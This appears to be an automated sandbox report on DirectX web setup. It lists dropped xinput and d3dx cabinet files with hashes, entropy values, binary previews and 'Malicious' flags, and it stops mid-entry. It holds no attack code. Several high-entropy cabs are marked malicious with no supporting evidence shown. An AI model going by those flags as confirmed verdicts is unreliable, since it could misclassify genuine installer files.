SHA-512:	D7EFCFD85B3CB6CB9B1936B701A9D7D91A6094AA08D8C933EDF8493C6AD57BE05A579980A404B35E9721F71B45F4CAE28399FCA3FF5DF20A9A3138B90F86B94C
Malicious:	false
Preview:	MSCF.....<......D...............!............<...#.............................44f .xinput1_1_x64.cat..F.........4.d .xinput1_1.dll......e.....4.d .infinst.exe.V....l.....4.e .apr2006_xinput_x64.inf......o.....4.e .xinput1_1_x64.inf.. ...9..CK.{.XSI..MHh..AD.. .7t...4..H.TTB...$.."...,...v].{Y{...u..k.......w..pA..}......<.\.9s.w.9sf.x...}...y..L......j`.c2..6..>..L.i.......F.......QZ...X.p.}c.i.`.,^X/l.8...m._..Fv0.}pOO.................N..>....O 6......X..s....A.'.s0....X...c._0.\|...?... .....IM.Ln..e..&..$...6?...K.....f7../.A..2...@=..7.`..L&..u:...w.>...q.q'=&...Sf....'..,.S`R,..aJ..@.nO.6.....TEF+.K...4.-.$....<e........ob.^..\({@).F.A.../.'..I../.F>@}..N.f....h...........q\.7#.~...Rm.2...HO0...{...dx....d..00<.3.v..........d....o:.e...,.....I..^v&.t .O..)Y;.B.7\|Q.K....Oo...g.L..5.I.....;t.i.\Z.V..>../..G+.!....z5,.*....1.L..#....58..f....7.x..Va~....bY....\+..U.-M.D..H....d"n{..b.X..V...Lqz..k.h.5..I.d)E..x'.hc.dp.Dr.8E,.(.R..+..5.YZS.1.

C:\Windows\msdownld.tmp\AS6C300B.tmp\Aug2006_xinput_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 40098 bytes, 4 files, at 0x44 +A "xinput1_2_x86.cat" +A "xinput1_2.dll", flags 0x4, ID 6335, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	49266
Entropy (8bit):	7.9632460736333766
Encrypted:	false
SSDEEP:	768:OuG396sAA1wXXvVFc2755DkphtVmUkt/lnkvH0odpl/q1nk:vwQsAhFcSmpJ3kt/xcd7ek
MD5:	16B968CA0C435EE45E77A84C2D0364A9
SHA1:	90B17A60A34F6335787A6B2D489CBCD3A4EA98C8
SHA-256:	6DD7C0ABE37D3DF7AA6DB7BB352260F4A15DC965FF9D30AA32FE9595C1A18300
SHA-512:	3BBBFDF8B5673641EC066C3FB52E6B0D5CE0BC6ED6BFF17AB4AC3FA69A8628B09E5EC8322FC39D2A206974B54D297CAAFF9410197E26D090FE74F963CD535045
Malicious:	false
Preview:	MSCF............D................................#.............................4.R .xinput1_2_x86.cat............4.K .xinput1_2.dll............4}R .aug2006_xinput_x86.inf............4}R .xinput1_2_x86.inf.....>..CK.\|.\SG..M.. @...mTT.0.(..D..M...+K0 ..D.`...T.Zkk.Am.V..k...V[l...+....*Z4....P..........&w.3g.9..\.Kz<tp..N.;.]Y...%=.!...b.............%v_88.t`qXK.;......B..3..c.8...................a...aA..C..)t...FP.q.%......'.B...("...D0.(..Al(..BY.<..."...s.!...1....&."...a..;6;h.P.#.X...p.H....c..q,..1.'..^.CL..h.C..h.%......f...S.l.'h.p.p.E.......\..G..1..'.)D>.Cd.JB..u.....6..i..A.>...&.......]..J....C..h."........x.......4....0.H.?..P.=.Z"zEaJU...F./...Y.t...~.o.y9<..9.l..7=.9_..d...!.r.F0...4..c2...a.3..y0..B..nD<.K...s!d.9\|...p.0\|a.U.a.=x.v$.OM.1u{...qQ,..._.R....y..f"...33...@... ......[..1.a.....0.x8..@.N.`i..0...b..c.wYs.L>&..9..A.......UXL.n..8x.....z......W+..... o.'.v.r...$g....R...4.u.r..J.P+......./o:C...Sg.g.&.3r..^.vG.v^...I.s...9..

C:\Windows\msdownld.tmp\AS6C353B.tmp\Aug2006_xinput_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 81182 bytes, 5 files, at 0x44 +A "xinput1_2_x64.cat" +A "xinput1_2.dll", flags 0x4, ID 7454, number 1, extra bytes 20 in head, 5 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	90350
Entropy (8bit):	7.985841057262195
Encrypted:	false
SSDEEP:	1536:5lQFOMW9t2gGQtmxC4LbB8GXjgvW/j44krD+W2MLdk6v5yO1Ha6DB/4RPjz6ITda:rIOMWm+tmnbXjVkWW1lgO166cjz6z
MD5:	A9D582E44E46E36F37EDB7CBC761179D
SHA1:	ED1BEF64385E94CE89AFA704D38408E23B31FA79
SHA-256:	C26633D38E0A91B9BE70382E916A83D50E219609F7E05CFB2D27DFAFBE480B43
SHA-512:	20011BFB547DEDCE8E6FCEDA22C3A3A83DB140E8A20844F3B0E8741B4474C1FEA73D84708B801E83EAE3CD2D8A2D6C851C3F7CD0154C0382A78BC2C2DF6B01E5
Malicious:	false
Preview:	MSCF.....=......D............................=...#.............................4.R .xinput1_2_x64.cat..G.........4.K .xinput1_2.dll......f.....4.K .infinst.exe.V...'m.....4}R .aug2006_xinput_x64.inf.....}p.....4}R .xinput1_2_x64.inf....%p9..CK.[.\SI.....I..1`D...]A......A....D .)4........E]...`.....^VV.........{.\.]......~./w.9s...9sf.E..k.....l@...Y.......Cu4.....t......I.Q.<u)ey...k1...K0.)....u..+..{..&...Z....@=].X....'..$qD...y.kZ.+..O..x .....F.@..........A.wd..........;......<@i.. ..s(G..J..".q.#..c.u...=.H<"A.H..C..;.>....43V.4..1y.;..j.yK"F}.F..#.RY.h.u.2.....p.C...u...b.:..E1.?f........H@]..;..DfR.T.%..-.....h....@...;...Z=@..pGb.b... .........n.....b>...R~...J...X...0.?..P7..........p6."/=.Z mI.r..X..x...ey...m#.>Pi.ZY.".....Xi..B..S.....7....=P7k}L..."bB.....;.....)...;..L...`B.PG.8.d..q....e.E....D.T.$..H..X.A..,6..y.\|..4...x...K.....o...6`mB.T+.B..0..[..Q4MS.D?.9j.+...<..'.0.9"...5.l-S...8.#H..XF..puM5#.8.R..7..2.L.p..'....\../.....a....

C:\Windows\msdownld.tmp\AS6C3A9A.tmp\Dec2006_d3dx10_00_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 185760 bytes, 4 files, at 0x44 +A "d3dx10_00_x86.cat" +A "d3dx10.dll", flags 0x4, ID 5461, number 1, extra bytes 20 in head, 14 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	194952
Entropy (8bit):	7.9966042762544145
Encrypted:	true
SSDEEP:	3072:x4mJ4SadBGg8IZrdosr2nqOwY7l43gRDlcGgp6VMslgVwxikcBmEi21wx8MqX+dN:xJJ4VWgzZptAqOf6wRD5g0VlgVwxL21I
MD5:	75C33157D8A1B123D01B2EAC91573C98
SHA1:	E3E65896CE0520413979C0143C3AA9BD3A6A27D3
SHA-256:	02DAA8B5AC3752F76C3BFD9A505EBF22B1B4B41E44EB92CE2799033B2330D186
SHA-512:	F0F1F1DEA5938E1C7FF2ADF7C8D421C2E68E6D3A8CDF18D0F2F3FE1C6837A4F37B367D2D974C35832D1D85A619948DD0F250C7D6DC4AE39F618F5A2893EAC7DD
Malicious:	true
Preview:	MSCF............D...............U................#.............................5.a .d3dx10_00_x86.cat...........}5.h .d3dx10.dll............5.` .d3dx10_00_x86.inf............5.` .dec2006_d3dx10_00_x86.inf....9.>..CK..\.K...C..DEA.P.$.......$...%.A.....0 F.Y.s.1#...#..f.......y...}....ZU..jU......SP.=.gB..GQ....>.5.p8.*<%.y3uY.....Xv.....G.S..)/...A.x....@U.GN.....{,.0nI..@.......d.......R..S....s..B.........B...H. ;.. 9..<...nL.5..!..4=.>.o....A..u.i^...dd..x!.....p...@Jn.;H.L...d......&$. ..\|<&/;.O...!.A..%##C.RZ...YG....Z.h..ee........+..D...D&.F.....?.a...Io..hg.5..blP..I.......B....`..,.....u..=A...<.%!.8.,.0....b...v.O..a....#.._J....3o.........F..Z {".t\..H..eo..1h.m.0.a....1....Bc..s.^..V..Bq.x...D(.E....@...&......<._..xv......OB....6L......y.. ....$3.....AB.&.cC8C".p.9.,[..mZ...C+....J.....A.04...rY.....7.y..!^....>j.+yj-#.#...h23.e..)....f....k.:@.-..3...,...O..Vl..#....MIK.Yk@j...^!,96O".....T...\.H,IIL....dfXw.u..e.w.F...C...Y).I\....&.[.4.

C:\Windows\msdownld.tmp\AS6C4047.tmp\Dec2006_d3dx10_00_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 206847 bytes, 5 files, at 0x44 +A "d3dx10_00_x64.cat" +A "d3dx10.dll", flags 0x4, ID 6580, number 1, extra bytes 20 in head, 17 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	216015
Entropy (8bit):	7.996946294916653
Encrypted:	true
SSDEEP:	3072:SGo145qtWQt9fL4bBHlKqDfaqaGm3+vqm9/Xx0b6POnzED/RIxeqTk0T:SGo145qtbt1LaeB36/xc6PkV
MD5:	681407075E9B19E5EF2218832F6FAD71
SHA1:	E4F4D292A36CD9A3034007EF9D2005694307EB52
SHA-256:	F9BD5BB083BD55D1D2A690BC66D6D9DA0B1A8B49F09E811E788C030669121118
SHA-512:	E983E7DD3F40510816FF3AE836600A186DBA827B484B0C346C20E43E229189A86D4CB5CF219C1FC35B77AB0668866446F6E9206B279931C927D4ED66AD3625F1
Malicious:	true
Preview:	MSCF.....'......D............................'...#.............................5#a .d3dx10_00_x64.cat..)........}5.h .d3dx10.dll......H.....5T_ .infinst.exe......O.....5.` .d3dx10_00_x64.inf......Q.....5.` .dec2006_d3dx10_00_x64.inf......:..[.... .Vm.....%A.P...?..,..".._.R.&.F.J.J.K.^.^...".U.!. ...BvJ...G......(.........C~.b...V...i.Z..O.<.%. .C...@l....a........XBq..Q.]g..2;..+d.[T[.Q..(ji..J...........T%.E.5.o3w.;.x.p.+@...JH...JA%.`.F..^....z..B......D.....S. \.3....."A%'n..h.f%.E.Ue.T..61....i.....m.X.......Wu...pf.a...............G.B...........$..%....R...`K.x....U,/...aH........S..^..2....h.E.6....B.K.A..........4!@7..........2...].}...".2..Z...!V.......-.6..<...{}..............o.~.ST.}.O.H.,....U.N.;..g{j.~a...^..7.n#.......SJ....~3}I9.\s.o....u.c;.../...RT....O~.R......L>C....W...K....P..z..........f%........::...vr.hC.Z.5...75+^...........evQ...8....v..)...W{..O/..<$....t...;. t..,&F.]&@.R..3e._.KZ.....C\|../...^.p&..`\SVd.......ge..E.

C:\Windows\msdownld.tmp\AS6C4643.tmp\Apr2007_xinput_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 47342 bytes, 5 files, at 0x44 +A "xinput1_3_x86.cat" +A "xinput1_3.dll", flags 0x4, ID 8235, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	56510
Entropy (8bit):	7.973777529821975
Encrypted:	false
SSDEEP:	1536:BcnwcwzHEdb27WH2SfZDNu75ddnVR+ZFaNk0ZKn4:4wb+2eZonQwt
MD5:	B362EC93463D8B6381A864D35D38C512
SHA1:	7CE47EBCEDA117D8B9748B5B2D3A6AE99FC239DF
SHA-256:	B6C1166C57D91AFEEEAA745238D0D6465FF2084F0606FD29FAF1BFA9E008A6C5
SHA-512:	CC57733912E2A296A11CD078372C3B43F1256A93EC5BECD0D1B520EB210FCE60938AA1CAA6DBBCA03292A05495B5ECD212EE5F77E3EBABB11EF31F1975B2D09E
Malicious:	false
Preview:	MSCF...........D...............+ ..............#...................(.........6{. .xinput1_3_x86.cat.h?...(.....6.. .xinput1_3.dll......h.....6G. .apr2007_xinput_x86.inf......m.....6G. .xinput1_3_x86.inf./....p.....6G. .xinput1_3_x86_xp.inf.i...T5..CK.y<.....Y.d..H.<3.1....=...`,cbB.f...RkB..V..E...,.[$I.R(~g..n........}....<....y>.9.s.....f&.s)E.F..Cp ..Q...D 0<0.;....R.....3.\...4...F.1QI...........@..O....2.f....I\...a...c4.0.....,...0.!..6.. M...@..:..ocp.A.K6......... .F..!...[....+..,...0n...<..@cl`+Xe^.X.t.$.;{X@.P....@d..N=.....Z..g....&...#...%]....~.........C. #..u...h(.4^.4.... a.a...#.Z<....%.{..5..n$....P@[..C<01..Y...F.\..[.H.H.l..f.l.X.0...l.4.A....+B.~.\|.l.YO0..k}i>~V..O.f...M0n^.?..B..........a.......N.w/==J.{..D@0..Q.....%..@6..Z.\|......@@.4..a.....q......t....4v....dI.Ym..^...........[7.XH.8Y.nR..d.<.;O.."k...d.y2aV..4....D...5..B".H~.....+x_o.4....c.#.`..0...v.F4........I.Q$.....x....._..;]...O[....l....?..:.......Q._....2.;.~...NXz

C:\Windows\msdownld.tmp\AS6C4B82.tmp\Apr2007_xinput_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 90857 bytes, 6 files, at 0x44 +A "xinput1_3_x64.cat" +A "xinput1_3.dll", flags 0x4, ID 9350, number 1, extra bytes 20 in head, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	100025
Entropy (8bit):	7.988437274786544
Encrypted:	false
SSDEEP:	3072:Mt5OSvuXSf2rbZu4Kmsr4eLRwPC5B9y7q:MTOBXSSpFI4/PM/ye
MD5:	FAE84E0773A74F367124C6D871516B7B
SHA1:	CAF8B9D7D4AF965BF445D052D1E835B680D6BBC3
SHA-256:	86EE073C199B5080FE4F5BE6AC24BB1117FEA42E4BBCD828B4F0EC26C669B22C
SHA-512:	CAF1381CAE7417B57FAEF56D0023BF90C90406748F8813AB85C687DDB81E2498D2F1D5F4BC154903FD5A19836E6F245CD6F5D3927A383F1ACC3BCC41B58FD09B
Malicious:	false
Preview:	MSCF.....b......D................$...........b...#...................(.........6+. .xinput1_3_x64.cat.h....(.....6. .xinput1_3.dll.h..........6.. .infinst.exe.\...h......6H. .apr2007_xinput_x64.inf............6G. .xinput1_3_x64.inf.....a......6H. .xinput1_3_x64_xp.inf...<.6..CK.\.\S.?....H3`@....B.....t.....D!.! " ].{..`AW........b.k/(....fNN ..z.}...g..of.7...\|3#.]4.j...."V.;u.".,..t....... o.!G4.G.<........!.I.P.'..t-B..T.N5...U.......2..S.....:....Ju.S.Q..v"D%..y.KR..B...a (.4.....7......x!L.\..u@.@...B.-G0......A..g...Dj8.j..L.X.."0."...^...kP.&@.}.....PP..k.p..\|.`..P..D"... .H.1.h.^.G...#...+Ls..7..!qH."@..."..;,....Iz;u.t....>..Ki.y.~.5M`)SR(..$....&P:........-F...@....-..C.&V....N...Z..!....~.....{X"eo.5.D6.u...Y.9...8.......pg8....g....4....j@.S..T..C.H..7..ID...!.HP}.....7U..@?1".yMi....aA.....[..&.M.0A..'L,.q. 6`..DZ...i2.t..(Sw...e..X..6 ..y$...>....D.&R......>....~..U.Z...X.B.5:HAn.IU..[ ..MH...8..Tgg'.H.G$H.$........)a...E b.y.>........t.....dF.

C:\Windows\msdownld.tmp\AS6C516E.tmp\Feb2005_d3dx9_24_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1007265 bytes, 4 files, at 0x44 +A "d3dx9_24_x86.cat" +A "d3dx9_24.dll", flags 0x4, ID 4987, number 1, extra bytes 20 in head, 69 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1016433
Entropy (8bit):	7.998972724711677
Encrypted:	true
SSDEEP:	24576:T/HUK+hlSM4jwe8WpmQUrxiUyULWoF/V++TYrjVdLa1:bHURewe8W4VN8uF/VhMr5s1
MD5:	7029866BA46EC477449510BEEE74F473
SHA1:	D2F2C21EAB1C277C930A0D2839903ECC55A9B3E8
SHA-256:	3D4E48874BDDCD739CF79BF2B3FD195D7C3E861F738DC2EAB19F347545F83068
SHA-512:	B8D709775C8D7CA246D0E52FF33017EE9A718B6C97C008181CD0C43DB7E60023D30D2F99A4930EBA124AF2F80452CBF27836D5B87E2968FB0F594ECA1EBF78DD
Malicious:	true
Preview:	MSCF.....^......D...............{............^...#..............E...7.........E2.. .d3dx9_24_x86.cat...!.7.....E2.. .d3dx9_24.dll......."...92.. .d3dx9_24_w9x.inf......."...92.. .d3dx9_24_x86.inf.(~m.?..CK..\.Y..O..........H.$@..(M..X.. R.I...6...#.^.......{w..}&............{.3..gf.e.....0*`..kFm.......i.`p....X..Y-..7]n^..9...e.(.7..^..V.FO+...v.,e.^..l(i~w...M...l...s...z..U.7.c5.b.3..........#1.I.'.F2.C.@.......'Hx /..K.~.`g.).0..".8y....0.8...N.\|..v.u@...P...H.R......c;W....yg..x....s...2..\...}..%21.D..... ...q.....E,.....q.Ee..$...66...pGr}.. +..!&&&PK..f.r...x.'..<.. ....kH..@....~l....\....@fD...+y..:UC.%...zy1.........~j..v..{%..v[S.ZEE...5....i;..1.(...&.x._.......R+[A..l..z(.e. .k..jbf.@.336T.[...'...J/-..uHc.u.....6..U.....).l...&.".9.X..H\.N...d.V.g...^...Jv..PQ~#?....V.......j:..p.....k.R.......0o.~..F..70.).4b7......+.:.&.)Qd(9...i....J35q.....T%..b._....,..........)Qjt.DU.B.R.s..-.`.......4HE...JObJDlG.4x......lb..<..C..sHD.

C:\Windows\msdownld.tmp\AS6C59BB.tmp\Apr2005_d3dx9_25_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1073002 bytes, 5 files, at 0x44 +A "d3dx9_25_x86.cat" +A "d3dx9_25.dll", flags 0x4, ID 6922, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1082170
Entropy (8bit):	7.999075135168916
Encrypted:	true
SSDEEP:	24576:i0BodqhH/OCy8M+j5lcB4ZfeXBXUd/QLML9bw6Uzc12:iUbffy/+lmBXF8Ioxw6Uo12
MD5:	9C5DCA423D9D68349D290DF291DDBEEF
SHA1:	D9F1CAE586470EA309CE9F115525B0504FFFAEA4
SHA-256:	5487ED4E969A822E5C481CEFB1D4DA3066B1D5EC8C55798B246915ECB58A8665
SHA-512:	9F50599321F45FB7451B0A1C0F1DCBD6B4A4E60EE27B0EF5AA29168C1BCE5B08F34329916EA2EA655CD632D0A19C81953C2A5F1277F6A96FB63AFC098236509D
Malicious:	true
Preview:	MSCF....j_......D...........................j_...#..............H...7.........r2. .d3dx9_25_x86.cat..#.7.....r2}. .d3dx9_25.dll.......#...r2,. .apr2005_d3dx9_25_x86.inf.......#...r2,. .d3dx9_25_w9x.inf.....k.#...r2,. .d3dx9_25_x86.inf.(.0.?..CK..\....'4.A..".+.@.%..C.4).b!@..$.....a..k.#..v.w.w.]xg...............9{......k....q....6.Z&Ey-.@.....a.0.T...9b......a...b....ilk.+c.5.af.o.vl..............<....s.z..V.7........fa\.G\$En..._..\|$.?9.O...!..H.<...#.,...!.^N.<.g"..=.V\|O.a..gwcw...t.c.......X..4(.).. .?.S..0k..._2{<%X.......m.....D&&..v.c ....Av...u.l. K2......R.0.&.XO8b..p."H@^..2..jbb...hg.&...>.>....u..x....2...@.~....9..u.a.M.X...S5d_..\|}z"h..1.....<...Z!...V).............}OO...n.2..Q....../.......R+[C..l..(...@......1........$..vs..K. m...e...b..\}u.+.....?..bg...P.......%.pRgTq.t.t.e<..t.Y._.X.?F.(../.......abb.G5.qkb.\..Z...g.....g..(.....f..Lz.8...h.e....t.R.fJ.iJNCv}:.V.:..m.B..JIQrlA..Z5..HR..)9-...:.......V.JP.)t*.....6m....

C:\Windows\msdownld.tmp\AS6C639E.tmp\Jun2005_d3dx9_26_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1058965 bytes, 5 files, at 0x44 +A "d3dx9_26_x86.cat" +A "d3dx9_26.dll", flags 0x4, ID 6937, number 1, extra bytes 20 in head, 71 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1068133
Entropy (8bit):	7.999040217820951
Encrypted:	true
SSDEEP:	24576:NxFMsUF1MmwONoWu85w6SFBu+vveJ0sut3z2A1s9z/D8gigA:V3dm3NoW+9FBhuJ9ut36A1s9z78giP
MD5:	029359EBCA4BA5945282E0C021B26102
SHA1:	6107919F51E1B952CA600F832A6F86CBBED064B5
SHA-256:	C44EABF5BE3B87CD845950670C27F6A1E5D92B7758BA7C39C7849B1EE1C649C0
SHA-512:	FA007F257F5267119B247EC4ED368E51FD73E6AEA3097E2FC4E78078C063AF34D161FD1BDCAF3097BB575D2614DBA226A624D060009EE4F7BEDA697EFCF42BB7
Malicious:	true
Preview:	MSCF.....(......D............................(...#..............G...7..........2b} .d3dx9_26_x86.cat...#.7......2Z\| .d3dx9_26.dll......,#....2.} .d3dx9_26_w9x.inf......-#....2.} .d3dx9_26_x86.inf......0#....2.} .jun2005_d3dx9_26_x86.inf...N..>..CK..X....'.. ..P.....&!. .%.A........`.....;v..WTd..........w......{.{..<'...3..;}....=Xv3.e.vc:.yg.i.....1.....V.F.:.fMj ,.\|.e.....F..5#?.\|6.M.j[Z..k3.....g.f.B(..=v......a<.7..a.=.:...h.f.X6.."..I..I......Od:.!9......~1.H..q.....'....y..\...E..u.S\|K.a...:c..B..8g:!?._..E:.A.H...N.a..j..~pI.....V.k.l.W.....X..........`4.2(.....e.>...0...!L..>p.....2d..r<...afffPK.6..t0.V.'HA.....j.o...5B+. .....hy...... M..5t...K.<>..@.G........~h..Xw.B.....F~>.?l..7..].}Xp.m.!......x~6.aY_.rmH..sr.."Q..]..d3.{.bXX`P....io...AZ.i..$..1....Gl.....d..AM:6.......p./(..Q.1..1..q....O.c~.c........04...\|s3...}..x..I.r..).m.K1.o#.Q.Fa...X7.baY......G{......Z5S.HU..c.tp.z6.4m.B=P...d.6...g.....W..aM...z...L.R.W%...z.F.n.5....54EG.R

C:\Windows\msdownld.tmp\AS6C6D43.tmp\Aug2005_d3dx9_27_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1071684 bytes, 5 files, at 0x44 +A "d3dx9_27_x86.cat" +A "d3dx9_27.dll", flags 0x4, ID 6926, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1080852
Entropy (8bit):	7.999138982152864
Encrypted:	true
SSDEEP:	24576:sP2N00PXWcq4UsDMMlsOgDUaQFMBZ0To2xIG:sP2CuZQsVl96fQiZMo2xz
MD5:	3E91448A7481A78318DCE123790EE31A
SHA1:	AE5FE894790624BAD3E59234577E5CB009196FDF
SHA-256:	8C062B22DC2814D4F426827B4BF8CFD95989FD986FB3AAA23438A485EE748D6D
SHA-512:	F8318BD7CA4271FC328D19428E4688DA898B6D7FB56CC185AD661D4A18C8169392C63515D7DD2D0B65CBD1F23892D7A0A5D3D77A4CDA6230BA03B3B917E5C39A
Malicious:	true
Preview:	MSCF....DZ......D...........................DZ...#..............H...<..........2.. .d3dx9_27_x86.cat..d#.<......2b. .d3dx9_27.dll.......#....2.. .aug2005_d3dx9_27_x86.inf.......#....2.. .d3dx9_27_w9x.inf.....p.#....2.. .d3dx9_27_x86.inf.]Z...>..CK..X.[...C.)...1(v.).. 3."J.P.. @(.&.Y..v...].....{.cW.$("..w.....yN<?v.5k.......q.Y..0......Z&.9N.!.....f.0.X...9b......fF......iL..+c...ff.tx.f....no.II...2.LO6..arY...u..PZM..9.6f..H.<...._..G".K.1...R.I..\|......=!....\O}<[/E.#..>.......+...........v!..C..:..Q.$.....s....LD.Q.i....h....b..aB3c.a.b.W..c.151/,./r.rD>...(.i..%!.......\.......Sn.\|t.[{F..Mq..\..5.d......J....J.3&....jN../S_N...Qg...gA..3..:...T.0f7.k..&.a.{o.+.j....:..j.f.s..54..`.}..g......?h....bf...w.(......C)(...$.........gJ~..`.;..P>...e.......c.C..@K...d0.@M0(.YM$.y..78..U.Y...J........W......A.04)...&4..{?....Ce..W.;..0m..x.9......n....Io!.!.>...o.......],OQ..0.Q..[KR5QrU.2)I...m.kU."<^..S..3.Q.....".b.F..UF.uJ....:lZ...p.2.R.

C:\Windows\msdownld.tmp\AS6C75FD.tmp\Dec2005_d3dx9_28_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1073496 bytes, 5 files, at 0x44 +A "d3dx9_28_x86.cat" +A "d3dx9_28.dll", flags 0x4, ID 6914, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1082664
Entropy (8bit):	7.999121865147412
Encrypted:	true
SSDEEP:	24576:Wa0lNxqf7fg42FhNffA/Lj41q7+YeSFfSKidHVmTJwagz8u:WHXx652fNffm0oleSt3Fwa3u
MD5:	B1CCAAFF46FE022439F7DE5EB9EC226F
SHA1:	8BB7225DF13E6B449D318E2649AEB45A5F24DAF7
SHA-256:	645F8D90B07C69330A8C7C8912D70538411C9A6B2813048DA8AD3C3119487F93
SHA-512:	2B59C07584D45705273A975A0223E4443DB190675558AB89D92E1572DE4843BE3D0D1267818B19185E4E438A8BCFA2AF5FB5EF2A119DA270BE4540576FD78C77
Malicious:	true
Preview:	MSCF....Xa......D...........................Xa...#..............H..............3g. .d3dx9_28_x86.cat..t#........3). .d3dx9_28.dll......#....38. .d3dx9_28_w9x.inf.....x.#....38. .d3dx9_28_x86.inf.......#....38. .dec2005_d3dx9_28_x86.inf...a.>..CK..X.[...C.)...1X..S.I...(M@A.......Pm..;......,.`...=.#v.$("..w.{...yN<?..=k.^..=s...o.jw..et.=..YA..=H.eF..l...,;.17kj....+.jw..Y.ry6..\.Y.4.igecJ...,.g.yp.F.yc.....X...e...L6.....SI..j......."6."...2.... ..+..O$B,..6l. ..B1l.`.....A..rN2..ggf..g..... ..H..Dp$.1..h..X.O..Pi...[LC.L..!d.\....fff................lknfYP@_..\|...Q4.!.JBJ..0...Ri[4.=..r<...b.3M/F].._S.J.."......"...P%@...`..l..J./.!.3.M.....y.l...TI.d~8.0fwf.J)M.C.U....<n7......./..&..P.R0...Q.JU..2.`...2.ri....vp:.Lg.:(.....7.H2.p.!....N.).A...bg......$..6.M5Nj.e.U..-9..P..L.5...G5.......A.P.6..6..v.i..6..6........-....`.........&3nN..K.&w.g-c....4K.9..}...U}.."VCf}*b]..B..+.j.D..d5`..k...j...4UR..... ..Ux."].d5g6..l.70&.%J.^...Q.U.5...9..~

C:\Windows\msdownld.tmp\AS6C7F92.tmp\Feb2006_d3dx9_29_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1078760 bytes, 5 files, at 0x44 +A "d3dx9_29_x86.cat" +A "d3dx9_29.dll", flags 0x4, ID 6921, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1087928
Entropy (8bit):	7.99922866964108
Encrypted:	true
SSDEEP:	24576:MWlF24ngnZPhX4ciAwvVHgK6SgHY6OmSfLV+:MWls4gnZTmHx6SgnPCY
MD5:	F6CC1C08D0F569B5F59108D39CE3508B
SHA1:	E9CF7EDC8C9C4B57A9BADD8386A2117EC5785AAB
SHA-256:	4114E76799AF3DA9DB3DAE51305DAD70A05B757E506E4A327092D536CCA7EE75
SHA-512:	86DF72D5B15396ACB504C1AC9DE7FF5C0CC9C95A90FDD82DAEDC55BAAD490CC47A71CB511571D37E25DD9BC1EE9652B9723E33879BC1756A7881A8E61EBC59ED
Malicious:	true
Preview:	MSCF.....u......D............................u...#..............H.............C4.F .d3dx9_29_x86.cat..#.......C4hE .d3dx9_29.dll......#...C4hF .d3dx9_29_w9x.inf.....x.#...C4hF .d3dx9_29_x86.inf.......#...C4iF .feb2006_d3dx9_29_x86.inf.w.6..>..CK..X.[...C.Q...1XQ.N..........T,..D .$....c.]......#..{.z..]..E....}...?......f.=..=.g.....v..]F.Y3j...8...&....V..S=S.f...1]aQ......a...1..Q...V.....m..e........s..m.[c.....yl.{/.^%q.Z.I ..hg..DH..........$..........AB.....!N.w=!F.g. .s.p.B...X...LL..X.c ....z.B...........b.81...>:/b.......511A..[.&.3vo.'.V)..kgjb...\..\|..!(.i..%#...8..9Um..]_.E...c.o.{....\|j..r4..CN..2....K..].t.E..CH.2b}I.A_.D...5s.e....K..&...n.K....a..p.$29...o.HN..[..k...d......1V.....P..9..e.....p9...c=..RQ .7.H61.e ......I~.v.....p}:.1.:r.i....qb..@K.......AM.(.QM....%.p....+.9....~.J~.J~.J~.....-....`.0LLl...3nL.....t.f/...x.9......n....I/!.!V..X........S,OU..`.tt..u$i...]...`.6...o..(..).-..tD.....L.B.S.+c.:.Z.n......od<..

C:\Windows\msdownld.tmp\AS6C883D.tmp\Apr2006_d3dx9_30_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1109261 bytes, 5 files, at 0x44 +A "d3dx9_30_x86.cat" +A "d3dx9_30.dll", flags 0x4, ID 6903, number 1, extra bytes 20 in head, 74 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1118429
Entropy (8bit):	7.999050518080374
Encrypted:	true
SSDEEP:	24576:OreyPa6AC8e290lruGDhi3TSvHDh+ISNvRNhPmJ0RRuu:cNoeYEuTSvjh+R3WKRv
MD5:	B3D644A116C54AFDA42A61B0058BE112
SHA1:	9AF7DDC29EEF98810A1A2F85DB0B19B2EC771437
